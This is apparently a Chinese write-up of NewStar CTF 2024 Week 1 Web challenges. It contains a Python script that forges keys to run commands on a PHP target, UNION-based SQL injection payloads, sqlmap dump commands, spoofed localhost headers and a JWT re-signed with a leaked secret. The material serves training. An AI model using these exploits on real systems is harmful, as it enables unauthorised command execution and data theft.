NewStar-CTF-2024-Week1-Web

headach3

会赢吗


ZmxhZ3tXQTB3

控制台是开发者调试 JavaScript 代码的利器,允许开发者在无需修改源代码的情况下,直接执行和测试代码。

revealFlag 函数中,如果请求成功并得到了包含 flagnextLevel 的数据,控制台会输出成功信息。


IV95NF9yM2Fs



MXlfR3I0c1B
在这段代码中,<noscript> 标签及其包含的内容会在用户的浏览器禁用 JavaScript 时显示,确保即使 JavaScript 不可用,页面仍然提供表单提交功能。
拼接:ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9

智械危机


提示:robots



这道题目是一个经典的 CTF Web 题,考察对 加密反转逻辑命令执行漏洞 的理解。
命令执行漏洞的核心在于应用程序没有对用户输入进行充分的验证和过滤,导致恶意输入被当作系统命令执行。
遇到这类 CTF 题目,通常解题的思路可以分为几个主要步骤:

1. 理解题目需求和源码逻辑

  • 仔细阅读代码,分析参数的使用和处理方式。弄清每个函数的功能,特别是涉及到加密、编码、解码、字符串处理等操作。
  • 理解执行路径,尤其是检查条件、校验机制和函数调用的顺序。分析 PHP 代码会发现,传入的 cmdkey 被经过一系列操作校验后执行,说明这是一种通过参数构造绕过校验的题型。

2. 明确绕过校验的目标

  • 此类题型通常需要绕过校验逻辑。目标是:使服务端接收合法的 cmd 参数,通过 key 校验后执行。
  • 分析加密或哈希校验逻辑,明确需要构造怎样的 cmdkey 才能满足条件。

3. 逆向构造加密或校验逻辑

  • 找出 cmd 的加密或编码方式。通常,这类题目会使用某种对称或反转的编码,PHP 代码中涉及 Base64 编码字符串反转MD5 哈希
  • 根据服务器端的逻辑(例如加密顺序:Base64 编码 → 反转 → MD5),在本地复现同样的加密顺序。将用户输入的命令进行同样的处理,从而生成合法的 key

4. 编写脚本模拟请求

  • 根据上述逻辑,编写脚本构造合法的 cmdkey,并发送请求。
  • 在脚本中执行多轮交互,便于测试不同的命令,并获得反馈。

5. 验证并进行测试

  • 执行一些简单命令(如 hostnamewhoami)测试是否成功。
  • 如果返回成功的结果,就可以继续发送其他命令并探索题目环境。

常见思路和技巧总结

  • 理解加密与编码顺序:加密题通常包含加密、编码和顺序反转等,梳理清楚顺序是关键。
  • 复现服务器端逻辑:本地复现加密流程,用脚本自动化操作,减少错误。
  • 构造恶意输入:这类题目常涉及构造合适的参数绕过校验,生成带有效 key 的合法请求。
  • 调试与测试:可以使用简单命令,如 lspwd 等,验证自己是否成功执行命令。

编写自动化脚本:

import requests # 发送 HTTP 请求
import base64 # base64编码和解码
import hashlib # 生成哈希值

print("[+] Shell for newstar_zhixieweiji")
url = input("[+] Enter the target URL: ")

def execute_cmd(cmd):
    cmd_encoded = base64.b64encode(cmd.encode()).decode()
    # 由 php 代码可知,cmd 是一个 Base64 编码后的命令
    # 先将 cmd 编码为字节,确保在处理不同字符集时,命令的内容可以被正确处理
    # 然后进行 Base64 编码
    # 最后解码为字符串(为反转做准备)
    cmd_reversed = cmd_encoded[::-1]
    # 切片,倒序
    hashed_reversed_cmd = hashlib.md5(cmd_reversed.encode()).hexdigest()
    encoded_key = base64.b64encode(hashed_reversed_cmd.encode()).decode()
    # 生成满足后端验证的 key
    payload = {'cmd': cmd_encoded, 'key': encoded_key}
    response = requests.post(url, data = payload)
    return response.text[:-1] # 去掉最后一个字符(可能是换行符或其他)

hostname = execute_cmd("hostname")
username = execute_cmd("whoami")

while True:
    directory = execute_cmd("pwd")
    # 获取当前工作目录
    command = input(f"{username}@{hostname}:{directory}$ ")
    # 三个变量的值插入到字符串中对应的位置
    output = execute_cmd(command)
    print(output)

在CTF环境中,执行 cat /flag 是常见的读取 flag 文件的方式。

谢谢皮蛋

手工注入

  1. 首先判断是数字型注入还是字符型注入。
    输入1 and 1=11 and 1=2
    如果是数字型,第一种有回显,第二种无回显。
    如果是字符型,由于sql特性,遇到非数字字符时停止,所以两种都有回显。
    由此判断,题目是数字型注入。

  2. 判断字段数 order by,发现有两个字段

  3. 爆数据库,版本,异常值+union
    -1 union select database(),version()

  4. 爆表
    -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=’ctf’

  5. 爆字段
    -1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=’ctf’ and table_name=’Fl4g’

  6. 查看信息
    -1 union select id,group_concat(id,des,value) from Fl4g

sqlmap

  1. get 请求: python sqlmap.py -u http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1
  2. post 请求:burpsuite抓包,把请求包保存到文档中。
    Windows:python sqlmap.py
    Linux:sqlmap
    # 是否存在注入点
    sqlmap -r “请求包路径”
# 获取注入点所有数据库
sqlmap -r “请求包路径” --dbs
# 获取当前使用的数据库
sqlmap -r “请求包路径” --current-db --batch
# 获取数据库中的表
sqlmap -r “请求包路径” --table -D “数据库名” --batch
# 获取表中的字段信息
sqlmap -r “请求包路径” --columns -T “表名” -D “获取的数据库名” --batch
# 获取字段具体信息
sqlmap -r “请求包路径” --dump -C “字段名(可多个,逗号隔开)” -T “表名” -D “数据库名” --batch
# 列出所有使用过的账户
sqlmap -r “请求包路径” –users

PangBai 过家家(1)



「Query」指的就是 GET 请求的请求参数


再次execute

User-Agent 必须按照标准格式填写(参见 User-Agent - HTTP | MDN

HTTP 协议对请求数据的格式有要求,尤其在发送非 ASCII 字符时(如中文),这些字符通常需要进行 URL 编码。

HackBar 会自动处理中文的转义:


PATCH 是一种用于 部分更新资源 的 HTTP 请求方法。与 PUT 方法不同,PATCH 只用于修改资源中的特定字段或属性,而不是替换整个资源。

示例

假设有一个 API,用于存储用户信息,用户信息结构如下:

{
"user_id": 123,
"username": "john_doe",
"email": "john@example.com",
"age": 25
}

现在,只想更新 email 字段,可以使用 PATCH 方法,而不必传输整个用户数据:

请求示例

PATCH /users/123 HTTP/1.1
Host: api.example.com
Content-Type: application/json

{
"email": "new_email@example.com"
}

这个请求会只更新用户的 email 字段,其他字段保持不变。

本题需要使用 Content-Type: multipart/form-data 发包。

使用场景

multipart/form-data 常用于以下场景:

  1. 文件上传:当需要通过表单上传文件时,例如图片、文档等。
  2. 包含多部分内容的表单提交:当表单包含文本字段和文件字段时,multipart/form-data 可以将它们封装为多个部分,以确保所有数据都能正确提交。

工作原理

multipart/form-data 请求体会被分成多个部分,每一个查询内容以一个空行区分元信息和数据。请求中会用一个唯一的 boundary(边界字符串)来分隔每个部分。注意该 Header 的值后面需要加一个 boundary 表示界定符,例如Content-Type: multipart/form-data; boundary=abc。那么在 Body 中,以 --abc 表示一个查询字段的开始,当所有查询字段结束后,用 --abc-- 表示结束。

POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="name"

John Doe
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="patch.zip"
Content-Type: application/zip

<文件的二进制内容>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

本题只检查文件名后缀是否为 .zip. 因此如此发包即可:

将拿到的token更新到Cookie。

第六关提示内容指出了 localhost,意在表明需要让服务器认为这是一个来自本地的请求。可以通过设置 Host X-Real-IP X-Forwarded-For Referer 等标头欺骗服务器。

  1. Host 头
    Host 头用于指定客户端请求的目标主机名和端口。在一些情况下,服务器会根据 Host 头的值来确定请求的合法性或处理方式。伪造 Host 头可以让服务器认为请求来自特定的主机或路径,通常用于:
  • 绕过访问控制:一些服务器根据主机名或域名来控制访问权限,通过更改 Host 头可以尝试绕过这种控制。
  • 子域名欺骗:某些系统可能依赖 Host 判断访问来源,可以通过伪造 Host 来测试是否能访问特定子域名的数据。
  1. X-Real-IP 和 X-Forwarded-For
    X-Real-IPX-Forwarded-For 是常见的客户端真实 IP 传递头,通常用于代理服务器或负载均衡器向后端服务器传递客户端的真实 IP。
  • X-Real-IP:通常直接包含客户端的真实 IP 地址。
  • X-Forwarded-For:包含一系列 IP 地址,最左侧的是客户端的真实 IP,右侧的 IP 代表通过的代理服务器。
    通过伪造这些头,可以让服务器认为请求来自指定的 IP。这种欺骗手段常用于:
  • 绕过 IP 限制:如果服务器依赖这些头进行 IP 限制或审计,通过伪造 IP 地址可能绕过限制。
  • 伪造来源:攻击者可以伪造来源 IP,让日志记录中显示错误的 IP,迷惑服务器的安全检测。
  1. Referer
    Referer 头表示请求来源页面的 URL。服务器通常会根据 Referer 判断请求的来源是否合法,尤其是在防御 CSRF(跨站请求伪造)攻击时会使用它。
  • 绕过 CSRF 保护:如果服务器仅检查 Referer 来验证请求来源,攻击者可以伪造 Referer 来绕过此保护。
  • 伪造访问路径:有些网站根据 Referer 头判断访问路径来源,伪造它可以用来绕过路径限制或伪装请求来源。

以下任意一种请求都是可以的。

GET /?ask=miao HTTP/1.1
Host: localhost
Referer: http://localhost
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y

GET /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
X-Real-IP: 127.0.0.1
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y
GET /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
X-Forwarded-For: 127.0.0.1
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y

其中提到了 JWT 和 Pe2K7kxo8NMIkaeN,这个数字和字母组成内容推测应当是 JWT 的密钥。

JWT(JSON Web Token)是一种轻量级的认证规范,用于在用户和服务器之间传递经过签名的、安全的、可信的信息。

JWT 的结构

JWT 通常由三个部分组成,用.分隔开:

  1. Header(头部):包含算法类型和令牌类型,通常为 {"alg": "HS256", "typ": "JWT"}
  2. Payload(有效载荷):包含实际传递的信息,如用户 ID、角色、权限等。这些信息以键值对的形式表示。
  3. Signature(签名):使用签名算法和密钥对头部和载荷进行加密生成签名。

JWT 的工作流程

  1. 用户登录:用户登录后,服务器验证凭证(如用户名和密码),生成一个 JWT 并发送给客户端。
  2. 客户端存储:客户端(例如浏览器或移动应用)将 JWT 保存下来,通常会存储在本地存储或 Cookie 中。
  3. 客户端请求:每次请求时,客户端会携带 JWT,例如通过 Authorization: Bearer <token> 头部。
  4. 服务器验证:服务器验证 JWT 的签名来确保令牌未被篡改,确认用户身份。
  5. 访问资源:如果 JWT 有效且权限允许,服务器会允许用户访问资源,否则拒绝请求。

JWT.IO

JWT.io 是一个在线工具,可以用来查看 JWT 内容、生成 JWT、验证 JWT 的签名。它允许你输入 JWT 和密钥,解析并查看 HeaderPayload 的内容,验证签名的正确性。

将我们当前的 Cookie 粘贴入网站:

将payload改为 0 ,粘贴入签名密钥Pe2K7kxo8NMIkaeN之后。

复制左侧 Encoded 的内容,回到靶机界面应用该 token 值修改 Cookie,再次刷新网页,即到达最终页面。